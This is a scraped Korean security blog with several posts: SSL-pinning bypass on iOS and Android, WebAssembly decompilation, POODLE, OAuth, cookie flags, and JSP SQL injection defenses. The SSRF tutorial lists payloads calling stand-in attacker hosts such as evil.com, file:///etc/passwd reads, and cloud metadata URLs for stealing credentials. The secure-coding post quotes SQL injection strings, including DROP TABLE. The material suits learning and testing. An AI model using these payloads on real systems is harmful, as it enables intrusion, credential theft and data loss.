broxy tool

Github & Tool 2020. 8. 9. 23:18

https://github.com/rhaidiz/broxy

 

rhaidiz/broxy

An HTTP/HTTPS intercept proxy written in Go. Contribute to rhaidiz/broxy development by creating an account on GitHub.

github.com

 

charles 외 다른 프록시를 찾던 중 확인

 

아직 실행은 안해봄

'Github & Tool' 카테고리의 다른 글

Nmap SSL  (0) 2020.09.07
Burp AES killer  (0) 2020.08.10
UnCaptcha  (0) 2020.08.09
Android Reversing Tool(GDA)  (0) 2020.08.09
PE Tree (black berry)  (0) 2020.08.09
블로그 이미지

wtdsoul

,

iOS (SSL Pinning)

모바일 2020. 8. 9. 23:08

 

 

https://github.com/nabla-c0d3/ssl-kill-switch2/releases

 

Releases · nabla-c0d3/ssl-kill-switch2

Blackbox tool to disable SSL certificate validation - including certificate pinning - within iOS and OS X Apps - nabla-c0d3/ssl-kill-switch2

github.com

 

모바일 단말기의 프록시 설정 시 단말기와 프록시 구간의 SSL 암호화가 사설 인증서로 암호화 되기 때문에, 경고 메세지가 뜨거나 통신을 수행할 수 없는 경우가 빈번히 발생합니다.

 

위의 문제 때문에 모바일 단말기에 SSL 패킷 분석을 위해 사설 인증서를 신뢰할 수 잇는 인증서로 등록하여 패킷 분석을 진행합니다. (ex /Burp/cert)

하지만, 디바이스의 신뢰할 수 있는 저장소를 무시하고 자체적으로 앱 내부에 저장된 인증서로 SSL 연결을 맺는 앱들이 존재하여 프록시 툴 상에 패킷을 확인할 수 없는 경우가 존재합니다.

 

인증서에 대한 검증이 클라이언트 측에서 이루어지기 때문에 애플리케이션에서 수행되는 인증서 검증을 비활성화하는 트윅을 설치하여 인증서 검증의 우회가 가능합니다.

 

com.nablac0d3.sslkillswitch2_0.14.deb 파일

/private/var/mobile/Media/Downloads 경로에 이동

 

dpkg -i <package>.deb

killall -HUP SpringBoard

 

 

'모바일' 카테고리의 다른 글

frida iOS hook  (0) 2020.08.10
frida 추가  (0) 2020.08.10
안드로이드 앱 리패키징을 통한 SSL-Pinning 우회법  (0) 2020.08.08
iOS 무결성 검증 건  (0) 2020.08.07
ro.debuggable 동적디버깅  (0) 2020.08.06
블로그 이미지

wtdsoul

,

github.com/blackberry/pe_tree

 

blackberry/pe_tree

Contribute to blackberry/pe_tree development by creating an account on GitHub.

github.com

 

 

 

'Github & Tool' 카테고리의 다른 글

Nmap SSL  (0) 2020.09.07
Burp AES killer  (0) 2020.08.10
UnCaptcha  (0) 2020.08.09
Android Reversing Tool(GDA)  (0) 2020.08.09
broxy tool  (0) 2020.08.09
블로그 이미지

wtdsoul

,

Web Assembly 시작

2020. 8. 9. 23:03

https://d2.naver.com/helloworld/8786166

 

진행 중

 

  • WebAssembly Studio: 온라인 IDE(integrated development environment)를 사용해 C와 Rust, AssemblyScript 등으로 WebAssembly 코드를 작성해 볼 수 있는 플레이그라운드 사이트이다.
  • Extending the browser with WebAssembly: Alliance for Open Media AV1 비디오 코덱의 소스 코드를 감싸는 래퍼(wrapper)를 빌드해 브라우저에서 코덱을 실행할 수 있게 하는 과정을 소개하는 글이다.
  • Emscripten and npm: 일반적인 웹 애플리케이션 프로젝트에 WebAssembly 모듈을 통합하기 위해 준비해야 하는 설정을 설명하는 글이다.

 

https://www.hahwul.com/2018/10/06/hacking-security-analysis-web-assembly/

 

Hacking & Security Analysis Web Assembly(웹 어셈블리 해킹/보안분석)

Security engineer, Bugbounty hunter, Developer and... H4cker

www.hahwul.com

https://www.wasm.com.cn/demo/Tanks/

 

Unity WebGL Player | Tanks!

 

www.wasm.com.cn


https://i.blackhat.com/us-18/Thu-August-9/us-18-Lukasiewicz-WebAssembly-A-New-World-of-Native_Exploits-On-The-Web-wp.pdf

 

 

https://github.com/WebAssembly/wabt/tree/master/wasm2c

 

WebAssembly/wabt

The WebAssembly Binary Toolkit. Contribute to WebAssembly/wabt development by creating an account on GitHub.

github.com

웹어셈블리를 C언어로 변환해주는 툴

 

 

wasm2c test.wasm -o test.c 커맨드를 실행하면 test.c과 헤더 파일인 test.h가 발생

사실 test.c 자체도 문법적 오류가 없지만 (!), 웹어셈블리에서 import가 존재하는 경우 링커에서 unresolved reference 에러가 나게 됩니다.

해결법은 다행히 간단한데, 헤더에 있는 선언들이 공간을 갖도록 해주면 됩니다.

sed -i 's/^extern //g' test.h 그리고, 컴파일을 해줍니다. 단 C 생성을 위해 쓰인 여러 런타임 함수들이 구현되어있는 wasm2c/wasm-rt-impl.c 파일도 같이 컴파일해줍니다.

gcc test.c /wasm-rt-impl.c -o test --shared -fPIC 이러면 이제 디컴파일이 가능한 ELF 파일이 나옵니다, 웹어셈블리는 개발자 도구를 통해 디버깅 할 수 있습니다.

 

'' 카테고리의 다른 글

CORS (Cross Origin Resource Sharing)  (0) 2020.08.11
DNS Rebinding 을 이용한 우회  (0) 2020.08.10
Oauth 개념과 원리  (0) 2020.08.09
SSRF Types And Ways To Exploit It (Part-1)  (0) 2020.08.09
JSP SQL 인젝션 대응방안  (0) 2020.08.08
블로그 이미지

wtdsoul

,

POODLE Attack

CVE 2020. 8. 9. 19:15

https://twoicefish-secu.tistory.com/116

 

POODLE(CVE-2014-3566) 취약점 분석 보고서

POODLE ATTACK POODLE(padding oracle on downgraded legacy encryption)의 약자다. 구글 SSL3.0을 TLS3.0으로 낮추어 암호문 추측하는 공격이다. SSL3.0에서 이루어지는 공격이다. 해당 프로토..

twoicefish-secu.tistory.com

https://blog.trendmicro.com/trendlabs-security-intelligence/poodle-vulnerability-puts-online-transactions-at-risk/

 

POODLE Vulnerability Puts Online Transactions At Risk - TrendLabs Security Intelligence Blog

Earlier today, Google researchers Bodo Möller, Thai Duong, and Krzysztof Kotowicz released a paper discussing a serious bug in SSL 3.0 that allows attackers to conduct man-in-the-middle attacks and decrypt the traffic between Web servers and end users. F

blog.trendmicro.com

 

 

POODLE ATTACK
POODLE(padding oracle on downgraded legacy encryption)의 약자다. 구글
SSL3.0을 TLS3.0으로 낮추어 암호문 추측하는 공격이다.
SSL3.0에서 이루어지는 공격이다. 해당 프로토콜은 오래되고 안전하지 않다. 공격자들은 웹사이트에서 쓰이는 인증쿠키를 해독할 수 문제점이 있다.
취약점을 발현시키기 위하여 공격자들은 다음과같은 사항을 따라야한다.

 

 

'CVE' 카테고리의 다른 글

Bitcoin Remote Dos CVE 2018  (0) 2020.09.06
Word press plugin 0day  (0) 2020.09.06
CVE-2020-0796-RCE-POC  (0) 2020.07.14
CVE-2019-8805 - A macOS Catalina privilege escalation  (0) 2019.12.10
CVE-2019-2890  (0) 2019.12.10
블로그 이미지

wtdsoul

,

Oauth 개념과 원리

2020. 8. 9. 18:28

 

https://interconnection.tistory.com/76

 

OAuth의 개념과 원리

DB의 종류를 바꾸어서 마이그레이션을 하는 과정에서 하나 발견한 JSON token을 발견했습니다. FaceBook에서 사용하는 Token인데, 여기서 OAuth를 사용을 하는데 정확히 원리와 개념에 대해서 몰랐습니��

interconnection.tistory.com

다시 한번 더

 

 

 

OAuth 란?

 

"웹, 앱 서비스에서 제한적으로 권한을 요청해 사용 할 수 있는 키를 발급해주는 것입니다."

 

사용하는 이유는 엄청나게 많은 각 서비스별 ID와 Password를 다 기억하고 로그인시 입력을 해야하는 경우가 생깁니다.

 

그런데 이 OAuth API를 사용하는 사이트는 그렇지 않습니다. 제한된 설정으로 연결하여 인증하면 그만이죠.

 

다음은 그 예입니다.

 

 

 

예를 한번 들어보겠습니다.

 

그런데 당황스럽게도 이 예에서 본인의 소득수준에 따라서 이해도가 달라지네요.

 

저도 이 개념을 공부하면서 처음 알게된 부분인데요.

 

자동차에는 발렛키라는게 있다고 합니다. 중저가의 차만 타본 저는 잘 이해가 안가지만,

 

이 발렛키는 사용할 수 있는 권한이 제한적입니다.

 

차량을 발렛을 하는 사람으로 가장해서 탈취하려는 시도를 막기 위해서,

 

트렁크를 열 수 없고, 주행거리는 1km이하로 주행되고 그 이상은 안된다고 합니다.

 

 

발렛키의 예에서 보는 것처럼 어떤 제한적으로 인증을 해서 사용이 가능하게끔 하는 역할을 하는 것이 OAuth입니다.

 

OAuth를 이용하면 특정 기능과 리소스에 접근 할 수 있는 인증 토큰(Access Token = 발렛키)를 발급 받을 수 있습니다.

 

인증 토큰으로 서비스로 접근하는데에 사용을 합니다.

 

 

OAuth의 원리와 과정

 

1) Resource Owner(사용자)

 

2) Authorization Server(인증 서버)

 

3) Resource Server(REST API)

 

4) Client

 

이렇게 OAuth가 네 가지의 구성으로 이루어집니다.

 

 

OAuth를 이용해서 권한을 획득하는 방법은 굉장히 다양합니다.

 

다음과 같이 크게 네 가지의 방법이 있습니다. 이 부분은 그냥 참고만 하고 넘어가시면 됩니다.

 

지금 이야기를 하려고 하는 것은 이러한 세부적인 이야기는 아니고 어떤 방식으로 돌아가는지 전체적인 부분만 보려고 합니다.

 

 

이제 OAuth를 사용해서 구성들이 어떠한 방식으로 작동하는 지에 대해서 이야기를 해보겠습니다.

 

위에서 언급했지만 다음 네가지의 구성이 있습니다.

1) Resource Owner(DB를 장악하고 있는 OAuth를 사용하는 사람)

 

2) Authorization Server(OAuth 인증 서버)

 

3) Resource Server(REST API Server)

 

4) Client(Resource를 사용하는 직접 사용자)

 

네가지 구성 중에 중요한 것은 Client와 Resource Owner입니다.

 

나머지는 그 둘 간의 보안과 사용의 제한을 걸어주는 OAuth를 위한 요소들이 뿐입니다.

 

 

이제 작동 원리에 대해서 잘근잘근? 이야기 해보겠습니다.

 

쉽게 이야기를 해보기 위해서 OAuth 2.0 인증방식을 가지는 FaceBook을 기준으로 설명을 해보겠습니다.

 

* 설명에 앞서 간단하게  Client는 본인, Resource Owner, Authorization Server, Resource Server는 Facebook 서버라고 생각합니다.

 

1) Client가 어떤 사이트를 이용해보려고 하는데 아이디를 FaceBook으로 가입할 수 있다는 버튼을 발견합니다.

 

2) 버튼을 누르면 Facebook을 로그인 창이 나옵니다. 로그인을 합니다. (이 부분이 (A), (B) 과정입니다.)

 

3) 로그인을 하고 나면 서버에서 승인을 받아서 (B)단계가 지났다고 생각하면 됩니다.

 

4) 그리고 로그인 후에, 해당사이트의 접근을 허용 할 것인가? 확인 창이 나타나게됩니다.

 

5) 허용을 하게 되면 해당 사이트에서 로그인 목적으로 사용할 수 있는 Access Token을 받게 됩니다.( (C), (D)과정입니다.)

 

6) 실제로 보면 facebook의 Access token은 다음과 같이 던져줍니다.

{

"facebook":

{

"access_token":"EAAXCfLMud8M*",

"expiration_date":"2017-01-02T07:43:09.000Z",

"id":"15037283890"

}

}

여기서 부터가 바로 발급받은 Access Token을 이용해서 서비스를 사용하는 과정( (E), (F) )입니다.

 

7) 이제 Access Token의 id를 가지고 access_token으로 서버의 제한된 resource(DB와 같은)을 expiration_date까지 사용할 수 있습니다.

 

이 과정이 끝입니다.

 

즉, 쉽게 이야기 하면, Facebook에게 토큰 사용요청을 해서 토큰을 받아서, 토큰을 가지고 서버에 요청하여 제한된 허용으로 사용합니다. 

 

현재 많은 서비스들이 이 OAuth을 사용하고 있습니다. 그래서 사용자들의 편의를 돕고 있습니다.

 

어플리케이션에도 사용자를 쉽게 유치할 수 있습니다. 권장합니다.

 

이상 간단한 OAuth의 개념과 원리에 대해서 정리를 마치겠습니다.




'' 카테고리의 다른 글

DNS Rebinding 을 이용한 우회  (0) 2020.08.10
Web Assembly 시작  (0) 2020.08.09
SSRF Types And Ways To Exploit It (Part-1)  (0) 2020.08.09
JSP SQL 인젝션 대응방안  (0) 2020.08.08
Secure & HttpOnly 설정  (0) 2020.08.08
블로그 이미지

wtdsoul

,

https://hackersonlineclub.com/server-side-request-forgery-ssrf-types/

 

Server Side Request Forgery SSRF Types And Ways To Exploit it (Part-1) - HackersOnlineClub

In this tutorial, we will learn about SSRF and its Types. What is Server Side Request Forgery (SSRF)? Server Side Request Forgery (SSRF) refers...

hackersonlineclub.com

경로 참고

SSRF 샘플

 

What can we do with SSRF? –

  • SSRF to Reflected XSS
  • Try URL schemas to read internal and make server perform actions (file:///, dict://, ftp://, gopher://..)
  • We can scan for internal networks and ports
  • If it runs on Cloud Instances try to fetch META-DATA

SSRF to Reflected XSS –
Simply fetch a file from external sites which has malicious payload with content type served as htmlExample - http://localhost:4567/?url=http://brutelogic.com.br/poc.svg

Testing URL schemas –
First thing to do when we find an SSRF is to test all the wrapper which are working

  • file:///
  • dict://
  • sftp://
  • ldap://
  • tftp://
  • gopher://

 

file:// –

File is used to fetch file from the file system

http://example.com/ssrf.php?url=file:///etc/passwd http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

If the server block http request to external sites or whitelist you could simply use below URL schemas to make a request

 

dict:// –

DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

http://example.com/ssrf.php?dict://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126) CLIENT libcurl 7.40.0

 

sftp:// –

Sftp stands for SSH File Transfer Protocol, or Secure File Transfer Protocol, is a separate protocol packaged with SSH that works in a similar way over a secure connection.

http://example.com/ssrf.php?url=sftp://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146) SSH-2.0-libssh2_1.4.2

 

ldap:// or ldaps:// or ldapi:// –

LDAP stands for Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

 

tftp:// –

TFTP stands for Trivial File Transfer Protocol is a simple lockstep File Transfer Protocol which allows a client to get a file from or put a file onto a remote host

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET evil.com:# nc -lvup 1337 Listening on [0.0.0.0] (family 0, port 1337) TESTUDPPACKEToctettsize0blksize512timeout3

 

gopher:// –

Gopher, is a distributed document delivery service. It allows users to explore, search and retrieve information residing on different locations in a seamless fashion.

http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):- evil.com:# nc -lvp 1337 Listening on [0.0.0.0] (family 0, port 1337) Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398) Hi ssrf test

 

Scan for internal networks and ports –

What if they are running some servers in their LAN (Kibana, Elastic Search,MongoDB.. )

Which we can not access from internet directly as firewall blocks them

We use SSRF to access them.

 

 

Cloud Instances –

Amazon:

If you find an SSRF in Amazon Could, Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :

http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/user-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance

This will give our juicy information like Aws keys, ssh keys and more

Refer these for POC- #285380, #53088

 

Phabricator disclosed on HackerOne: SSRF vulnerability (access to...

In bug [#50537](https://hackerone.com/reports/50537), **haquaman** reported a SSRF vulnerability in the meme creation section of Phabricator. Ticket [T6755](https://secure.phabricator.com/T6755) was created and the HackerOne issue was closed as "Won't fix"

hackerone.com

 

For example:-http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/[INJECTION PAYLOAD] http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/Google Cloud –

Same for google

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

Further exploiting this can lead to instances takeover

'' 카테고리의 다른 글

Web Assembly 시작  (0) 2020.08.09
Oauth 개념과 원리  (0) 2020.08.09
JSP SQL 인젝션 대응방안  (0) 2020.08.08
Secure & HttpOnly 설정  (0) 2020.08.08
CSRF 대응 방안  (0) 2020.08.08
블로그 이미지

wtdsoul

,

https://stove99.tistory.com/99

 

JAVA/JSP SQL Injection 해킹 방지를 위한 코딩

SQL Injection 은 사용자가 요상한 문자열을 입력해서 쿼리를 요상하게 바꿔 버려서 아무 아이디로나 로그인이 훅 되버린다던지 하는 쪼금은 싱거운 해킹방법중의 하나라고 나는 알고 있다. 뭐 예��

stove99.tistory.com

https://hackbyr0k.tistory.com/2

 

SQL Injection 시큐어코딩

■ 입력데이터 검증 및 표현 프로그램 입력값에 대한 검증 누락 또는 부적적한 검증, 데이터의 잘못된 형식지정, 일관되지 않은 언어셋 사용 등으로 인해 발생되는 보안 약점으로 SQL 삽입, 크로�

hackbyr0k.tistory.com

■ 입력데이터 검증 및 표현

프로그램 입력값에 대한 검증 누락 또는 부적적한 검증, 데이터의 잘못된 형식지정, 일관되지 않은 언어셋 사용 등으로 인해 발생되는 보안 약점으로 SQL 삽입, 크로스 사이트 스크립트(XSS) 등의 공격 유발 가능.

- SQL Injection

 > 개요

  데이터베이스(DB)와 연동된 웹 어플리케이션에서 입력된 데이터에 대한 유효성 검증을 하지 않을 경우, 공격자가 입력 폼 및 URL 입력란에 SQL문을 삽입하여 DB로 부터 정보를 열람하거나 조작할 수 있는 보안약점을 말함.

 

<그림 3-1>에서 나타낸 것처럼, 취약한 웹 응용프로그램에서는  사용자로부터 입력된 값을 필터링 과정 없이 넘겨받아 동적쿼리(Dynamic Query)를 생성하기 때문에 개발자가 의도하지 않은 쿼리가 생성되어 정보유출에 악용될 수 있다.

동적쿼리(Dynamic Query) : DB에서 실시간으로 받는 쿼리.Prepared Statement가 동적쿼리가 됨.

> 보안대책

 - Prepared Statement 객체 등을 이용하여 DB에 컴파일 된 쿼리문(상수)을 전달하는 방법을 사용한다. Prepared Statement 를 사용하는 경우에는 DB쿼리에 사용되는 외부 입력값에 대하여 특수문자 및 쿼리 예약어를 필터링하고, 스트러츠(Struts), 스프링(Spring)등과 같은 프레임워크를 사용하는 경우에는 외부 입력값 검증 모듈 및 보안 모듈을 상황에 맞추어 적절하게 사용한다.

Prepared Statement 객체: 컴파일된 쿼리 객체로 MySQL, Oracle, DB2, SQL Server등에서 지원하며, JAVA의 JDBC, Perl의 DBI, PHP의 PDO, ASP의 ADO를 이용하여 사용 가능

> 코드예제

- 다음은 안전하지 않은 코드의 예를 나타낸 것으로, 외부로부터 tableName과 name의 값을 받아서 SQL 쿼리를 생성하고 있으며, name의 값으로 name' OR 'a'='a를 입력하면 조작된 쿼리를 생성하는 문자열 전달이 가능하다.

 

 

이를 안전한 코드로 변환하면 다음과 같다. 파라미터(Parameter)를 받는 preparedStatement 객체를 상수 스트링으로 생성하고, 파라미터 부분을 setXXX 메소드로 설정하여, 외부의 입력이 쿼리문의 구조를 바꾸는 것을 방지하는 것이 필요하다.

 

다음의 예제는 SQL Injection 공격 중 JDO의 경우를 나타내는 것으로, JDO API의 SQL 또는 JDO SQL 쿼리 생성을 위한 문자열이 외부 공격자에 의해 그 의미가 왜곡되거나 구조가 변경되어 임의의 쿼리를 수행하는 것을 나타내고 있다.

아래 코드에서 공격자가 외부의 입력(name)값을 name';DROP TABLE MYTABLE;-- 로 입력하게 되면, 최종적으로 수행되는 쿼리는 다음과 같이 변경되고 이 쿼리로 수행되어 테이블이 삭제된다.

SELECT col1 FROM MYTABLE WHERE name = 'name';DROP TABLE MYTABLE;--'

 

위 코드를 아래 코드와 같이 외부 입력값이 위치하는 부분을 ?로 설정하고, 실행시에 해당 파라미터가 전달 되도록 수정함으로써 외부의 입력(name)이 쿼리의 구조를 변경시키는 것을 방지할 수 있다.

 

SQL Injection 공격 Persistence는 Java 계열 언어에서 발생할 수 있는 SQL Injection 공격의 일종으로서 J2EE Persistence API를 사용하는 응용프로그램에서 외부의 입력을 아무런 검증 없이 질의문으로 사용할 때 내부 정보가 노출되는 공격이다.

아래 코드에서 공격자가 외부 입력(id) 값으로 foo';DROP TABLE MYTABLE;--을 주게 되면, 다음과 같은 질의문이 실행되어 테이블이 삭제된다.

 

SELECT OBJECT(i) FROM item i WHERE col1 i.itemNAME = 'foo' ; DROP TABLE MYTABLE;--'

 

위 코드를 안전한 코드로 변경하는 방법은 아래 예제 코드와 같이 파라미터를 받는 쿼리(query)를 생성하고, 파라미터를 설정하여 실행하도록 한다. 이를 통해 외부의 입력이 쿼리의 구조를 변경시키는 것을 방지할 수 있다.

 

 

SQL Injection 공격 MyBatis Data Map은 외부에서 입력되는 값이 SQL 질의문을 연결하는 문자열로 사용되는 경우에 의도하지 않은 정보가 노출될 수 있는 공격 형태이다.

 

아래의 코드를 보면 정의된 질의문 중 delStudent 명령어 선언에서 쿼리에 삽입되는 파라미터들 중 $name$으로 전달되는 문자열 값이 그대로 연결되어 쿼리로 만들어진다. 따라서 만약 name의 값으로 ' OR 'x'='x'을 전달하면 다음과 같은 쿼리로 수행되어 테이블의 모든 원소를 삭제하게 된다.

DELETE STUDENTS WHERE NUM = '' and NAME = '' or 'x' = 'x'

 

위 코드는 아래와 같이 Name 파라미터를 #name# 형태로 받도록 수정하는 것이 안전하다.

 

 

 

'' 카테고리의 다른 글

Oauth 개념과 원리  (0) 2020.08.09
SSRF Types And Ways To Exploit It (Part-1)  (0) 2020.08.09
Secure & HttpOnly 설정  (0) 2020.08.08
CSRF 대응 방안  (0) 2020.08.08
MySQL SQL 인젝션 대응 PDO  (0) 2020.08.08
블로그 이미지

wtdsoul

,

 

https://ryanking13.github.io/2020/07/01/capturing-https-android-without-frida.html

 

안드로이드 앱 리패키징을 통한 SSL-Pinning 우회법

안드로이드 앱 리패키징을 통한 SSL-Pinning 우회법

ryanking13.github.io

https://omespino.com/tutorial-universal-android-ssl-pinning-in-10-minutes-with-frida/

 

TUTORIAL – UNIVERSAL ANDROID SSL PINNING IN 10 MINUTES WITH FRIDA – @omespino

Hi everyone It’s been a while from my last post but I’m back, now I want to show you that you can start hacking android apps with frida without pain, I took me several hours to figure out how to get the frida installation ready but at the end that wasn

omespino.com

https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/

 

Frida CodeShare

 

codeshare.frida.re

 

해당 블로그 내용을 그대로 가져왔습니다.

 

앱이 HTTPS를 사용하여 패킷을 암호화하고 있다면 가짜 루트 인증서를 설치해서 암호화된 패킷을 중간에서 MITM 방식으로 가로채서 복호화하여야 합니다.

 

문제는, 안드로이드 7.0인 Nougat부터는 시스템적으로 사용자가 설치한 루트 인증서를 신뢰하지 않도록 하는 옵션(SSL-Pinning)이 디폴트로 설정되어 있습니다.

이 때문에 안드로이드 7.0 이상에서 가짜 루트 인증서를 디바이스에 설치하고 패킷 스니핑을 시도하면, 인증서 검증에 문제가 생겨서 앱이 제대로 동작하지 않습니다.

✔️ Frida를 이용한 우회

이러한 SSL-Pinning 옵션을 우회하는 방법으로 잘 알려진 것은 Frida를 이용해서, 앱의 인증서 검증 과정을 후킹하는 방법입니다.

해당 방법에 대해서는 아래 포스트에 자세히 설명되어 있습니다.

Frida는,

  • 👍 SSL-Pinning 우회 외에도 다양한 용도로 사용할 수 있고,
  • 👍 안드로이드 뿐만 아니라 iOS 등의 환경에서도 사용할 수 있다는 장점이 있습니다.

그렇지만 한편으로는,

  • 👎 매번 adb에서 Frida 서버를 실행하고 컴퓨터와 통신해야 한다는 점과,
  • 👎 루팅된 디바이스가 필요해서 에뮬레이터를 사용하지 않으면 번거롭다는 단점이 있습니다.

 

 

'모바일' 카테고리의 다른 글

frida 추가  (0) 2020.08.10
iOS (SSL Pinning)  (0) 2020.08.09
iOS 무결성 검증 건  (0) 2020.08.07
ro.debuggable 동적디버깅  (0) 2020.08.06
ADB shell /data/data 추출  (0) 2020.08.06
블로그 이미지

wtdsoul

,

Secure & HttpOnly 설정

2020. 8. 8. 21:45

https://opentutorials.org/course/3387/21744

 

쿠키 옵션 - Secure & HttpOnly - 생활코딩

수업소개 Secure는 웹브라우저와 웹서버가 https로 통신하는 경우만 웹브라우저가 쿠키를 서버로 전송하는 옵션입니다.  HttpOnly는 자바스크립트의 document.cookie를 이용해서 쿠키에 접속하는 것을 �

opentutorials.org

https://mitny.github.io/articles/2019-04/httpOnly-secureCookie

 

[WEB] HTTP Only flag와 Secure Cookie에 대하여

 

mitny.github.io

해당 경로 참고

HTTP Only

HttpOnly-OWASP

  1. HTTP Only란?
  • document.cookie와 같은 자바스크립트로 쿠키를 조회하는 것을 막는 옵션
  • 브라우저에서 HTTP Only가 설정된 쿠키를 조회할 수 없다.
  • 서버로 HTTP Request 요청을 보낼때만 쿠키를 전송한다.
  • 이를 통해 XSS(Cross Site Scripting) 공격을 차단할 수 있다.
  1. HTTP Only 설정 방법
  • Tomcat 6 이상
  • context.xml 에서 설정

<?xml version="1.0" encoding="UTF-8"> <Context path="/myWebApplicationPath" useHttpOnly="true">

  • Java 6 이상, Servlet 3.0 지원되는 경우
  • Java 코드 내에서

    Cookie cookie = getMyCookie("myCookieName"); cookie.setHttpOnly(true);

  • WEB-INF/web.xml 에서 설정

<session-config> <cookie-config> <http-only>true</http-only> </cookie-config> </session-config>

  • PHP 5.2.0 이상

    session.cookie_httponly = True

  1. Secure Cookie란?
    • 웹브라우저와 웹서버가 HTTPS로 통신하는 경우에만 웹브라우저가 쿠키를 서버로 전송하는 옵션
  2. Secure 옵션 설정 방법
    • Java 6 이상, Servlet 3.0 지원되는 경우
    • WEB-INF/web.xml에서 설정

<session-config> <cookie-config> <secure>true</secure> </cookie-config> </session-config>

  • PHP

    session.cookie_secure = True

직접 해보기

PHP에서 설정하는 방법으로 위의 옵션들을 직접 적용해 볼 것이다.

기본 옵션에서는 secure 옵션이 주석 처리 되어있다.

위와 같이 session.cookie_secure = True,session.cookie_httponly = True로 설정해준 후 apache 서버를 재시작해준다.

그 후에 쿠키를 확인해보면 Secure, HTTP 전용 옵션이 체크되어있는 것을 확인할 수 있다.

설정되어 있지 않은 쿠키와 비교해보자

첫번째로 확인해볼 것은 콘솔창에서 document.cookie; 를 쳤을 경우 쿠키가 출력되는가이다.

예상대로 HTTP 전용 옵션이 꺼져있는 쿠키만 출력된다. 쿠키 에디터로 옵션을 꺼도 출력된다.

두번째로 확인해볼 것은 http 통신에서 쿠키가 전송되는가이다.

https 통신으로 페이지에 접속했을 때는 secure 옵션이 적용된 쿠키 2개, 적용되지 않은 3개 총 5개의 쿠키가 있었다.

하지만 https 통신으로 페이지에 접속했을 때 secure 옵션이 적용되지 않은 3개의 쿠키만 있었다.

옵션들이 잘 적용되는 것을 확인해보았다. 보안 옵션을 적용해 안전한 페이지를 만들어요!! :)

 

 

'' 카테고리의 다른 글

SSRF Types And Ways To Exploit It (Part-1)  (0) 2020.08.09
JSP SQL 인젝션 대응방안  (0) 2020.08.08
CSRF 대응 방안  (0) 2020.08.08
MySQL SQL 인젝션 대응 PDO  (0) 2020.08.08
burp js(javascript) response 셋팅  (0) 2020.07.20
블로그 이미지

wtdsoul

,